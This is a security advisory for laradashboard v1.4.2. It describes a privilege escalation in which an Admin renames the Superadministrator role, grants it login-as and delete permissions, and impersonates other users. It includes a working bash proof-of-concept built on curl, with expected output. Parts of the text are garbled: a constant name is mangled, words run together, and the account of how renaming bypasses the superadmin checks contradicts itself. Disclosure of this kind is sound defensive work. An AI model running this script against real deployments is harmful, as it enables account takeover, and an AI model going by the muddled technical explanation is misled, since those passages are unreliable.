laradashboard/laradashboard: Superadmin Role Tampering + Privilege Minting in Production
What fixes it
No source in this snapshot names a fixed version.
Description
Superadmin Role Tampering + Privilege Minting in Production
- Severity: CVSS
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - CWE: 296 / 862 (privilege escalation via destructive role rename/edit)
- Affected: v1.4.2;
RoleController,RolePolicy,StoreRoleRequest,UserService
Summary
Out of demo-mode, the "Superadministrator" role's name and permissions can be edited/deleted by any role-holding user (Admin holds role.edit/role.delete). Renaming Superadministrator to the mangled default breaks strcasecmp($roleName,'Superadministrator') comparisons used across the control plane, locally "locking" the privileged check while the role object — still effective — escapes all isSuperadmin($adminUser) guards (which match by name). The same roads let a user self-mint user.*/login_as values.
// RoleController.php:144, 180 — the only guards are demo-mode toggles: if (! RolePermissionConstants::ALLOW_ROLE_ROPLEY_DISABLED_PORODUCTION_MODE ... ) return ; // demo-gated // RolePolicy.php:39-50 — update/delete check only granular role.* perms // UserService::ensureCanManageRoles — blocks editing ONLY the exact string "Superadmin"
/admin/roles/{id}PUT→ renameSuperadministrator→Superadmin2(destroying theSuperadminexact-match guards used by login-as, module license, upgrade, pulse, etc.).PUTaddspermissions[] = user.delete|user.login_as|user.assignRoleto any role the user can manage; or target own role → addrole.update, then escalate.DELETE /admin/roles/{id}removes the last admin role whilesuper_admintables/columns are left dangling.
Reproduction (authenticated as Admin)
GET /admin/roles/1 PUT /admin/roles/1 name:"Superadmin2" permissions:[...,"user.delete","user.login_as"] POST /admin/users/2/login-as → session hijack of any user, incl. member 1 PUT /admin/users/1/roles role_id:1 user_id:ownid → now roots "superadmin" everywhere
Impact
- Escalation to effectively superuser: rename → role keeps all abilities but matched by the (now non-Superadmin-named) role, defeating the demo-gated "can only happen in demo" protections.
- Mass permission minting (
user.*), privilege-held account takeover vialogin_as, denial of admin (role delete).
Remediation
- Make superadmin role uneditable/undeletable unconditionally (not only in demo mode); prevent permission minting for the
user.*set below Superadmin. - Replace name-based checks with a dedicated DB flag/table (
is_super_admin) everywhere (UserService, module license, Pulse, upgrades). - Restrict
login_as/user.delete/user.assignRoleto Superadmin-only grants.
PoC
Script
#!/usr/bin/env bash
# V-02: Superadmin role tampering + privilege minting (production)
set -eu
BASE="${BASE_URL:?Set BASE_URL to running app}"
ADMIN_EMAIL="${ADMIN_EMAIL:-admin@example.com}"
ADMIN_PASS="${ADMIN_PASS:-password}"
COOKIE=$(mktemp)
trap 'rm -f "$COOKIE"' EXIT
curl -sS -c "$COOKIE" "$BASE/login" > /dev/null
CSRF=$(curl -sS -b "$COOKIE" "$BASE/login" \
| grep -oP 'name="_token"[^>]*value="\K[^"]+' | head -1)
curl -sS -b "$COOKIE" -c "$COOKIE" -X POST "$BASE/login" \
-d "_token=$CSRF&email=$ADMIN_EMAIL&password=$ADMIN_PASS" -o /dev/null
echo "[1/4] Listing roles..."; curl -sS -b "$COOKIE" "$BASE/admin/roles" | grep -oP 'Superadministrator|Superadmin' | head -5
echo "[2/4] Renaming Superadministrator (role.edit in prod)..."
CSRF2=$(curl -sS -b "$COOKIE" "$BASE/admin/roles" | grep -oP 'name="_token"[^>]*value="\K[^"]+' | head -1)
curl -sS -b "$COOKIE" -X PUT "$BASE/admin/roles/1" \
-d "_token=$CSRF2&id=1&name=Superadmin2&status=1" -w " HTTP %{http_code}\n"
echo "[3/4] Minting user.login_as / user.delete on that role..."
curl -sS -b "$COOKIE" -X PUT "$BASE/admin/roles/1" \
-d "_token=$CSRF2&id=1&name=Superadmin2&permissions[]=user.login_as&permissions[]=user.delete" \
-w " HTTP %{http_code}\n"
echo "[4/4] Impersonating another admin (login_as)..."
curl -sS -b "$COOKIE" -X POST "$BASE/admin/users/2/login-as" -w " HTTP %{http_code}\n"
echo "[+] Done — non-Superadmin Admin renamed superadmin role + minted privileges."Expected output
[1/4] Listing roles...
Superadministrator
[2/4] Renaming Superadministrator (role.edit in prod)...
HTTP 200
[3/4] Minting user.login_as / user.delete on that role...
HTTP 200
[4/4] Impersonating another admin (login_as)...
HTTP 302
[+] Done — non-Superadmin Admin renamed superadmin role + minted privileges.The strcasecmp($roleName,'Superadministrator') guards now fail on the renamed role while its abilities remain intact — every isSuperadmin check (login-as, module license, Pulse, upgrade) is locally bypassed.
Connect with the researcher: Evilord on LinkedIn
Text from GitHub Advisory Database
Affected versions 1
- laradashboard/laradashboard, php,laravelv1.4.2GitHub